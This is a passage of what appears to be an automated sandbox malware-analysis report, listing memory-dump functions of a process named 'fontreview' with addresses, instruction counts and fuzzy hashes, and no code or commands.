Opcode Fuzzy Hash: 4f32c91cbefcd88cfab8cdec6e408080a574c613797fc3c327c9291b52a7b7a4
Instruction Fuzzy Hash: 0231E7BA90D66A8BE71A7F7CE6150FD3F64EF85320B044177D64DC90A3CE2834458AA2

Function 00007FFB4B22E812 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d90af7160b32d3116e29c7848573f65f9c276f90a85be55f78fd59e61c9bafbc
Instruction ID: b7c2263979c5147fcdc87ab01d17d7498bba35eab52de89268ff7c73ed863758
Opcode Fuzzy Hash: d90af7160b32d3116e29c7848573f65f9c276f90a85be55f78fd59e61c9bafbc
Instruction Fuzzy Hash: BB310BB1D189198FEBA8EF28CC557A9B7A1FB58301F5041E9944DE3292DE346D828F41

Function 00007FFB4B22C14F Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679aea6f0bdb2b0ec04293b783ceef6b1a53ae099dd0bd98303dc82a8ea733b1
Instruction ID: 94d768d28739050e58a4f28cfa6962f78cd1fc69e731fb50fef72cba75239364
Opcode Fuzzy Hash: 679aea6f0bdb2b0ec04293b783ceef6b1a53ae099dd0bd98303dc82a8ea733b1
Instruction Fuzzy Hash: A42191B588E3C64FE70B6B309C274E57FB49F03210B0941EBE448CA4A3D92C5556C362

Function 00007FFB4B22AC7D Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f56901618ce85ba2f7ea656cdd868744015521e1b305be766482d1ce09fb15e8
Instruction ID: 405fab2464c1e029570cd30e96c2078fba5c62dc1a593e664f1beb498b5bbb3f
Opcode Fuzzy Hash: f56901618ce85ba2f7ea656cdd868744015521e1b305be766482d1ce09fb15e8
Instruction Fuzzy Hash: 3C21ECB1A0D94AAFF346BF78C9592E97FE0FF16300F0485B2D848C25A2EE2464068241

Function 00007FFB4B220EFD Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6852d0fbd9413246e88bfedeb973f7072c8f2f2916320729279f68258f79c08
Instruction ID: 08fa8d50eed8b07874d13102e042cc86c460957c82de676c032325fb68f14fa1
Opcode Fuzzy Hash: c6852d0fbd9413246e88bfedeb973f7072c8f2f2916320729279f68258f79c08
Instruction Fuzzy Hash: CD314FB0D0C60A8AEB55FFB4C544BEEBBB1EF44300F108175D109E7295DE38A945CB81

Function 00007FFB4B2233D0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c668b91012df4a8de7bbe2a67fa44f3acd09d0e063b08cc4b3d83983f0f32da
Instruction ID: ab62019b8b860626b928f2bcaae7d45fd146e5c9e09432116a54132c37effb08
Opcode Fuzzy Hash: 3c668b91012df4a8de7bbe2a67fa44f3acd09d0e063b08cc4b3d83983f0f32da
Instruction Fuzzy Hash: A6213A7084D69A8FD747EB74C8586A67FF4EF46310F0945FAD049CB0A2D6689845C722

Function 00007FFB4B22084D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6319b253ce22887a162495d62924498f9a826728f5d0676b804342cfbd182b2
Instruction ID: b471524dae0f6eecb9bfaa50cb5437a6cfc1ac2f22efa6fdc5acfaa9f777f21f
Opcode Fuzzy Hash: c6319b253ce22887a162495d62924498f9a826728f5d0676b804342cfbd182b2
Instruction Fuzzy Hash: 021104B1D0C64A8FF749BF78C9995EB7FE0FF15300F1688B6D549C60A3EA24A445C292

Function 00007FFB4B23240B Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89971d86bbe734a3972865ea49cfe3b04700bc6af7f0962729611dd43d630f48
Instruction ID: b30d2ab316e7504d1bf4479119c22adb0b18303aaa29cb938dbb0718da972f56
Opcode Fuzzy Hash: 89971d86bbe734a3972865ea49cfe3b04700bc6af7f0962729611dd43d630f48
Instruction Fuzzy Hash: B511BEB184D68A8FEB46BF30C8292A97FB0EF16300F0544EBD549CA0E3DA296541C711

Function 00007FFB4B232201 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d8f6399d6db143e97b3138f7dc4416c8299ad9968745a4bf838b87328902f0e
Instruction ID: a81e35d70ed3f4743586723632e26379ac5c086400f904c18288f9ed2c2100f8
Opcode Fuzzy Hash: 8d8f6399d6db143e97b3138f7dc4416c8299ad9968745a4bf838b87328902f0e
Instruction Fuzzy Hash: 56117CB191C6498BDB49EF28C8965F97FE1FF69304F1152AEE84A83291DA34A440CB81

Function 00007FFB4B220A01 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a665b1582acfb41f0d22b37f935edcc62d47e22451b9df9750ab43c1019e845
Instruction ID: 0aa300f0db19fa7b20e9bf9e5578f2944173360c22fb7a3ffc95d9713f5e35d7
Opcode Fuzzy Hash: 7a665b1582acfb41f0d22b37f935edcc62d47e22451b9df9750ab43c1019e845
Instruction Fuzzy Hash: 021179B091850E8FF785FF78C9891FE7BE5FF58300F8085B6D608C61A6EA38A5458741

Function 00007FFB4B22C6F0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df88b023ddc81ba6f1295c8a95817bc7023fc0526afc7f6b27480404d11f1ba
Instruction ID: 79345256887cae15636277627566e205c96a17bf89d76189bd99b29dd5f24945
Opcode Fuzzy Hash: 8df88b023ddc81ba6f1295c8a95817bc7023fc0526afc7f6b27480404d11f1ba
Instruction Fuzzy Hash: 24115BB4C0C64E8FEB5ABF74C9592B97FA4FF19300F0044BAD80AC60A2EE796450C751

Function 00007FFB4B22112D Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6880cf7b9c053fffb2b5e1f34a1fe11c2a14a7b243dc4d5d5e54b63a0b79274
Instruction ID: afbb96fc6cd5b0fb246880713cc3e54a90aa98723ee625661f59d12e977307b3
Opcode Fuzzy Hash: b6880cf7b9c053fffb2b5e1f34a1fe11c2a14a7b243dc4d5d5e54b63a0b79274
Instruction Fuzzy Hash: A21181B080C64A8EEB59FFB8C959AB97FE0EF59311F0040BED509D6192DA356550C701

Function 00007FFB4B2325F1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf8f0bb2228e7aac79096412f1b879e91d2ee14f1b3571a9a3cf8eff678da38
Instruction ID: 0a088111df21799e8405ae1ee71a13342ffb0622e69724858fc7c344ca2fb358
Opcode Fuzzy Hash: ebf8f0bb2228e7aac79096412f1b879e91d2ee14f1b3571a9a3cf8eff678da38
Instruction Fuzzy Hash: 8411A17184C65A9FEB42BF74C94D6F97FE8EF1A300F0045B2E418C7062EA34A1858B41

Function 00007FFB4B223561 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b73bf8bc6c39fb32f6de91780a8221f597db387be07099b27187a6aac6579782
Instruction ID: 96d6c06a3e1d64149e85f7c53841ac53b82e9fc0e2fab7d99029e8726dca85ed
Opcode Fuzzy Hash: b73bf8bc6c39fb32f6de91780a8221f597db387be07099b27187a6aac6579782
Instruction Fuzzy Hash: 921179B081C64E8FEB99FF34C8586BE7BA0FF18300F4049BAD51DC25A1EA39A4548702

Function 00007FFB4B22AA78 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21056fae8b82835dbf928d83a33e4c9bd29bd40c56fe5bcc1de6bbec23665f10
Instruction ID: 7fdef0a39e3bcdc36ed167f4db365dd0217635f853b6b0583d9c591a5a6f2e96
Opcode Fuzzy Hash: 21056fae8b82835dbf928d83a33e4c9bd29bd40c56fe5bcc1de6bbec23665f10
Instruction Fuzzy Hash: 32114C71918A0E8FEB85FF38C4596BEBBE1FF58305F10457AE81AD21A0DB34A150CB40

Function 00007FFB4B22C5C5 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d251b237fed87a5eb8e56ee30a49e10cada2d8136a60a8d19f52b15b79207d82
Instruction ID: bd989218fa1120e1f2ed8a565ed1863ce5d736745d8ed9496fe1063e3ce2bc2b
Opcode Fuzzy Hash: d251b237fed87a5eb8e56ee30a49e10cada2d8136a60a8d19f52b15b79207d82
Instruction Fuzzy Hash: 9D117970908A0E8FEB89FF78C4496BE7BE1FF18301F10857AD419C26A4DB31A290CB40

Function 00007FFB4B230A70 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d72ff6dbc5e989117e57101fb4bd1e96dd5d1074fd3f25bac96cb5b1216b8c1
Instruction ID: fe3e7d40f78b2b455f8d2a955196e3d6856048a3bb139be8bf12a3e48283233d
Opcode Fuzzy Hash: 4d72ff6dbc5e989117e57101fb4bd1e96dd5d1074fd3f25bac96cb5b1216b8c1
Instruction Fuzzy Hash: A5112AB091860E8FDB49EF78C4496FEBBB1FF58305F10457AE81AD2294DB34A551CB50

Function 00007FFB4B22C5B0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162bc49413cc4f71ea3ba8895e568c3c4cf933969cdbf195fda71f24ac2e50d4
Instruction ID: 10528575cc1744e04bd0eb674c2f7c6b368b55333aa87c3a1a67f1b7d068e191
Opcode Fuzzy Hash: 162bc49413cc4f71ea3ba8895e568c3c4cf933969cdbf195fda71f24ac2e50d4
Instruction Fuzzy Hash: 59111B7091890E8FEB95FF68C448ABA7BE0FF18301F1044BAE41AD7160DB34E650CB50

Function 00007FFB4B230A51 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7cc52f8dddfb14f15031ea0a241fe9cdecade135a57c148fe376a9fb5fa6c4f
Instruction ID: 99553a516bb4d9c656e9b9a2d8ea2ced383113649a72ceac7e3cf3cefa71debd
Opcode Fuzzy Hash: d7cc52f8dddfb14f15031ea0a241fe9cdecade135a57c148fe376a9fb5fa6c4f
Instruction Fuzzy Hash: 09015EB591964E8FDB55EF78C8892EE7BF0FF18304F40057AE949C6291DB38A5518780

Function 00007FFB4B22AC18 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4677d8b0b9ce7b1236603a07b5dbaad705f47629ca47f95bdae8f859750934
Instruction ID: f53eec13cf778b85f8c5e9b636d49f4b3ad62b567fa8cd63e35f4296ee361cac
Opcode Fuzzy Hash: 0d4677d8b0b9ce7b1236603a07b5dbaad705f47629ca47f95bdae8f859750934
Instruction Fuzzy Hash: 500148B091890E8EEB98FF74C45C2BA7AA5FF18300F90447AE91AD21A1DA35A551C601

Function 00007FFB4B22B9FA Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 019114f1b18fc6e5e098deae250dff094c5b599a60831fd9aa42c917bb0f7cf6
Instruction ID: c102cea093193886118271a8a8e8bfd1242ba6950535299bc7130586d394018c
Opcode Fuzzy Hash: 019114f1b18fc6e5e098deae250dff094c5b599a60831fd9aa42c917bb0f7cf6
Instruction Fuzzy Hash: 9B0129B091854E8FEB98FF68C99D6F97BA0FF18300F1045BAD91AC21A1DA75A550CB41

Function 00007FFB4B230B90 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 233196398149714be80fde30b56bf629691435e0ef65d80485cd2635b97cda36
Instruction ID: 79abcabf6040f19892028d917d94e7c2b6afc7313fc5c51190bed23a2756f339
Opcode Fuzzy Hash: 233196398149714be80fde30b56bf629691435e0ef65d80485cd2635b97cda36
Instruction Fuzzy Hash: 2D015A7091890E8FEB88FF74C8582BABAE2FF18305F0048BAD81ED21A5DE35A550C750

Function 00007FFB4B22C1B0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5d8aa71f83166c86b6ece93cf2cce5db1521dba0de1075203621693dace7ce
Instruction ID: 89abbc7468d3d4c37bab5a87922475cd675e8bb662f42224c71d9d4b9c24b857
Opcode Fuzzy Hash: 7d5d8aa71f83166c86b6ece93cf2cce5db1521dba0de1075203621693dace7ce
Instruction Fuzzy Hash: B4015A70918A0E8FEB88FF78C4492BA7AE5FF18300F10087AE81AD21A0DE31A550C741

Function 00007FFB4B22289D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c6ab41ef02387b842fcea5c68f3a1927c6945984095e4aad121b7fa5af9b1a2
Instruction ID: c8e4b6faad750e5fed29732dcb2a4eaeacd1e50cf30be14e0a99ff12dc208230
Opcode Fuzzy Hash: 3c6ab41ef02387b842fcea5c68f3a1927c6945984095e4aad121b7fa5af9b1a2
Instruction Fuzzy Hash: 0C019E7081D64A8FEB55FF34C9886A97FE4FF19300F0188B6D508C60A6EE39E084C752

Function 00007FFB4B230B71 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6f55b8123b198ce212242a53a1559885c45b58e0931edbe4ac3a55f9abb18f
Instruction ID: 0eb09538eb7f96a0397dec7ce5dc238103087393f40f043182ce2991bdb4e9de
Opcode Fuzzy Hash: 6e6f55b8123b198ce212242a53a1559885c45b58e0931edbe4ac3a55f9abb18f
Instruction Fuzzy Hash: 5CF0AFB190964E9FEB85FF74C8193FABBA1FF15205F0154BAE808C21A1EB3895508750

Function 00007FFB4B22A839 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b72e8d0ea68ea63156229e294dea38a29102fdf53dea0768da0e01330bf268
Instruction ID: 37b5e306c8a3496fa969cda8e5cc539452f60c77504b409d6668de99453591a0
Opcode Fuzzy Hash: 01b72e8d0ea68ea63156229e294dea38a29102fdf53dea0768da0e01330bf268
Instruction Fuzzy Hash: 5B01717084D64A9FE756FB38C9591A97FE4EF46300F4689F6D508C74A2E928A4458702

Function 00007FFB4B222F39 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1001f6f2b8d901747de1475cd1533279cfe6d5debcfbfa24ee3cd81d1aa9d2
Instruction ID: 1d90f05c14f49656edf504c28bd406d58d9e6fb757be8d5bbc810c585d84d8e5
Opcode Fuzzy Hash: 7a1001f6f2b8d901747de1475cd1533279cfe6d5debcfbfa24ee3cd81d1aa9d2
Instruction Fuzzy Hash: 3E0184B080D6498FEB56FF34C9495A97FE4EF45300F4588F6D508CB0B6EA29A444C702

Function 00007FFB4B2205D8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e62b3c7ddaf7e9e7bfe1ed63edb65f0500d03030509a28e4460347a615741e
Instruction ID: a85b2def66d9ddf3b67f0ff34c202b45fbebd42ed7fd1ae6694ad097d8d58ece
Opcode Fuzzy Hash: 56e62b3c7ddaf7e9e7bfe1ed63edb65f0500d03030509a28e4460347a615741e
Instruction Fuzzy Hash: 96018F7090850ECFEB8CFF74C559ABA7BE1EF58306F60847ED80AD21A1CA75A461CB41

Function 00007FFB4B2523D0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e7c90c08c532e12da978a9bbc88bbd615b4ed6a061340211842d2b7e123621
Instruction ID: c6ba33df30a57c1f6e01ce922387a9814a245d01702e7d88ee337a091716a48b
Opcode Fuzzy Hash: 78e7c90c08c532e12da978a9bbc88bbd615b4ed6a061340211842d2b7e123621
Instruction Fuzzy Hash: 24011D7091891EDEEB91FF78C94C6BABBE4FF18300F0089B6D818C31A5EA34A1848651

Function 00007FFB4B220610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062609f673cc81286fab93c8412d7700f2696323917f57e4b7bd3c8b917e6638
Instruction ID: 89c0f04133ae689b22677b5cbba9e8b996916e51e1560549949e2760c1055013
Opcode Fuzzy Hash: 062609f673cc81286fab93c8412d7700f2696323917f57e4b7bd3c8b917e6638
Instruction Fuzzy Hash: 8A01467081990E8BEB5DFF34C4482BA7AA4FF18305F504CBEE80AC21A1DE3AE550C612

Function 00007FFB4B220608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ba2f50eac17c051f379a966539ec5b1333a3a14a399693683d718d8e26fb79
Instruction ID: 594411f156e4034fb5f78e9bbb2d9ce4cf599ce2318c778b5432992f89128a0b
Opcode Fuzzy Hash: 56ba2f50eac17c051f379a966539ec5b1333a3a14a399693683d718d8e26fb79
Instruction Fuzzy Hash: 9E014B7081D50E8BEB5DFF34C4592B97AA4FF18305F504CBEE40AC25E1DE3AA191CA12

Function 00007FFB4B230D00 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e60937df0f702c8255354eef7fc68d6fbbc077b82c0a4ce7558b93125ba92308
Instruction ID: e0466c2105442a0b1234d7c79bdccee511353c69a3cf0c1cf21a61de2a8dbf21
Opcode Fuzzy Hash: e60937df0f702c8255354eef7fc68d6fbbc077b82c0a4ce7558b93125ba92308
Instruction Fuzzy Hash: A1015A72D0861D8BEF28EF60D8906EDBBB1EB59301F00417AD10AEB290CE746990CB04

Function 00007FFB4B221140 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5475fa2410747fd394e5b183c199bd6ea8b4002ee486dc973e6f63c748a4b272
Instruction ID: ae7d806ac18dde5a99d18c83f567a68d9f30dfa16f6e7aa2b82b470a9db12b6e
Opcode Fuzzy Hash: 5475fa2410747fd394e5b183c199bd6ea8b4002ee486dc973e6f63c748a4b272
Instruction Fuzzy Hash: F9F0F4B0C1C64E8AFB9CBFB8C9087BA7BE4EF45311F00407AE409E20D0DE341120C241

Function 00007FFB4B221CED Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcaa2ce939f33c4fbab96947ad87d7e7feb51fb26cdfcf2a1f20c709b9399784
Instruction ID: e77e02261d8ba9af4f776b2edab1eafe1e70398e32dc61cd4c15e90322447822
Opcode Fuzzy Hash: bcaa2ce939f33c4fbab96947ad87d7e7feb51fb26cdfcf2a1f20c709b9399784
Instruction Fuzzy Hash: FC018F7080D68D8FDB4DAF74C9556A97FA0EF55301F4141BAD908C61A2DA759460CB41

Function 00007FFB4B22A908 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7a2ba826b3933253aef5db76414975367efe0d4ea398f6d50e147b334e2345
Instruction ID: 681a72f0327614a8cda76c60efb0615e31dd362f505d59b4556c30545ee13d59
Opcode Fuzzy Hash: 4e7a2ba826b3933253aef5db76414975367efe0d4ea398f6d50e147b334e2345
Instruction Fuzzy Hash: 67F0D17081950E8BEF58FF34C5082BABAA0FF18300F00547ED80EC20A1DE35A184C600

Function 00007FFB4B22BE49 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d411d6e7de997efb6e2210430b4dbf26e80c7aae6e9171641da1fb50e6b7a01
Instruction ID: a7115f96d2c6bd9eed82fbeb0745b83ae5a6a9261ef8649ed220f87e20fcd306
Opcode Fuzzy Hash: 9d411d6e7de997efb6e2210430b4dbf26e80c7aae6e9171641da1fb50e6b7a01
Instruction Fuzzy Hash: 7C01627090D68D8FEB59BF74C85D2B97FB0FF15200F8544BADA18C61A2DB3455548742

Function 00007FFB4B2227B9 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
